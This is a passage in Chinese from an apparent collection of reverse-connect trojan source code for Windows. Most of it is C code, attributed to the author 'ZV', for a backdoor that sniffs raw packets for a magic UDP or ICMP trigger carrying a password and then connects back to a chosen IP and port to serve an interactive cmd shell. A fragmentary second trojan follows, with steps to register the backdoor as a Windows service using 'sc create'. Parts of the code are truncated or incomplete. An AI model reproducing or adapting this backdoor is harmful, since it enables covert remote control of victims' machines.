  显得有点简陋了,不过还能讲究的过去。。如果需要可以写成LKM,呵呵。

第四个反弹木马代码:作者ZV

  比较完整的.for winnt的.compiler by vc 6.0.
  我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..

代码

#include "mainheader.h"

MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};

//打印帮助
void Usage(char *programName) {
   char szHelp[] = "";
   fprintf(stderr,"%s usage:%s\n",programName,szHelp);
}  

//初始化参数
int HandleOptions(int argc,char *argv[]) {
   int i,rn=1;

   for (i=1; i< argc;i++) {
       if (argv[i][0] == '-') {
           switch (argv[i][1]) {
               case '?':
               case 'h':
               case 'H':
                   Usage(argv[0]);
                   rn = 0;
                   break;
                  
               default:
                   Usage(argv[0]);
                   rn = 0;
                   break;
           }
       }
   }
   return rn;
}

//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){

//申请网络
   if(!SetSocketDll())
       return 0;
   int ret=0;
//出错最大100次就结束程序
   while(true){
       if(!ListenUserMain()){
           if(ret++ > 100)
               break;
       }
   }
   return 1;          
}

//程序入口
int main(int argc, char* argv[]) {
   if(argc > 1) {
       if(HandleOptions(argc,argv)) {
           return 1;
       }else {
           return 0;
       }
   }else {
       mGotoStart();
       return 1;
   }
   return 1;
}



  上面这个部分除了mGotoStart();这个函数,其他都是内部的.

  这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的,代码如下:

#include "mainheader.h"

#define MAX_PACK_LEN        65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

SNIFFERDATASTK sfStk;

//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
   int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
   if(strnicmp(msg, mpStk.KeyData, i1) == 0){
       char *fp = &msg[i1+1];
       if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
           return 0;
       }
       if(!chkPass(sfStk.name)){
           return 0;
       }
       return 1;
   }
   return 0;
}

//数据包解包
int DecodePack(char *buf, int buflen)
{
   IP_HEADER *pIpheader;
   int iProtocol;
   pIpheader = (IP_HEADER *)buf;
   iProtocol = pIpheader->proto;
   int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
   int PackSize = 0;
   switch(iProtocol){
       case IPPROTO_UDP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_ICMP:
           PackSize = sizeof(UDP_HEADER);
           break;
       case IPPROTO_TCP:
           PackSize = sizeof(TCP_HEADER);
       default :
           return 0;
   }
   if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
       return 0;
   if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
       return 1;
   return 0;
}

//循环接收数据包
int RecvRightData(SOCKET Sock)
{
   char RecvBuf[MAX_PACK_LEN];
   int RecvDataLen;
   while(true){
       memset(RecvBuf, 0, MAX_PACK_LEN);
       RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
       if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
           return 0;
       if(DecodePack(RecvBuf, RecvDataLen)){
           return 1;
       }
   }
   return 0;
}

//获得本机外部ip
unsigned long msGetipByStrOUT(){
   char in[20]="",out[20]="";
   if(msGetip(in,out)){
       return inet_addr(out);
   }else{
       return inet_addr("127.0.0.1");
   }
}

//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{

   SOCKADDR_IN addr_in;
   addr_in.sin_family = AF_INET;
   addr_in.sin_port  = INADDR_ANY;
   addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
   if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
       ConCloseSocket(&SnfSock);
       return 0;
   }
   DWORD dwBufferLen[10];
   DWORD dwBufferInLen = 1;
   DWORD dwBytesReturned = 0;
   if(SOCKET_ERROR == WSAIoctl(SnfSock,
                           SIO_RCVALL,
                           &dwBufferInLen,
                           sizeof(dwBufferInLen),
                           &dwBufferLen,
                           sizeof(dwBufferLen),
                           &dwBytesReturned ,
                           NULL ,
                           NULL)){

       ConCloseSocket(&SnfSock);
       return 0;
   }
   return 1;
}

//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
   SOCKET SnfSock;
   if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
       return 0;
   }
   if(!Start_Sniffer(SnfSock)) {
       return 0;
   }
   if(!RecvRightData(SnfSock)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   ConCloseSocket(&SnfSock);
   if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
       return 0;
   }
   if(!ContoReServer(&SnfSock,
                   (unsigned short)atoi(sfStk.nPort),
                   sfStk.szIp)) {
       ConCloseSocket(&SnfSock);
       return 0;
   }
   if(!UserThreadFunc((LPVOID)&SnfSock)){
       return 0;
   }
   return 1;
}



  上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.

  UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:

#include "mainheader.h"

//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
   if(sck->procinfo.hProcess != NULL){
       TerminateProcess(sck->procinfo.hProcess, -9);
       ConCloseHandle(&sck->procinfo.hProcess);
   }
}

//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
   if(sck->UserThreadHdB != NULL){
       TerminateThread(sck->UserThreadHdB, 0);
       ConCloseHandle(&sck->UserThreadHdB);
       ConCloseHandle(&sck->hReadPipe);
       ConCloseHandle(&sck->hReadFile);
       ConCloseHandle(&sck->hWriteFile);
       ConCloseHandle(&sck->hWritePipe);
       xfree(sck->buff);
   }
}

//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
   if(sck->getCMD == 1){
       KillThreadHdB(sck);
       closeCMD(sck);
       sck->getCMD = 0;
   }
   rnvCasemsg(sck->UserSck, "Bye~^_^~\r\n");
   sck->ExitIn = 1;
}

//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
   KillThreadHdB(sck);
   rnvCasemsg(sck->UserSck,"==========================\r\n"
                           "S8S8\\>");
   sck->getCMD = 0;
}

//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){

#define MAX_BUFF_TB 4096
   USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
   ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
   if(ThreadST->buff == NULL)
       return 0;
   ThreadST->Bann = 1;
   unsigned long howlong;
   DWORD rest;
   while(true){
       rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
       if(rest <= 0){

           return 0;
       }
       send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
   }
   return 0;
}

//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
   if(sck->getCMD == 1) {
       return 0;
   }
   memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
   sck->pipeattrA.nLength = sizeof(SECURITY_ATTRIBUTES);
   sck->pipeattrA.lpSecurityDescriptor = NULL;
   sck->pipeattrA.bInheritHandle = TRUE;
   if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
       rnvErrorID(sck->UserSck, "CreatePipe:");
       return 0;
   }
   memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));

  还要来一个就是程序的头文件, 如下:

  所有的公共函数都在这里面.

后语:

  之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

  另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^_^.

  以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net",密码为"zvrop".

  发送数据包是用vc的-u发送udp数据,c:\x.txt里面的内容是:

  代码:
  www.s8s8.net zvrop 192.168.1.2 8888

  分别是数据包标志,密码,反向连接ip,反向连接端口,中间用空格格开. 注意顺序不要颠倒.


第五个反弹木马代码:作者weibo

代码

headerf.h

这里面放了公共函数,还有一些声明

#ifndef _BDH_
#define _BDH_
#include
#include
#include
#include
#pragma comment(lib,"ws2_32.lib")

unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

typedef struct _udphdr{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;

extern void returnMessage(SOCKET *Sock,char *msg);
extern void CreatePipeInSock();
extern int SetSocketHandle(SOCKET *Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);

#endif



  这里就是sniffer...这个sniffer只解析IP和UDP包。。。通过对UDP的解析来启动木马进程. 对于UDP解析来启动木马这块还没有怎么完善。只是很简单的。。。等待大家来补充了。。

  最好解析UDP来提取内容。判断用户名。密码。然后启动木马进程

  手动加为服务

  编译好后
  进入cmd

  运行 sc create 随便一个名字 binpath= path

  例子: sc create BackDoor binpath= c:\backdoor.exe
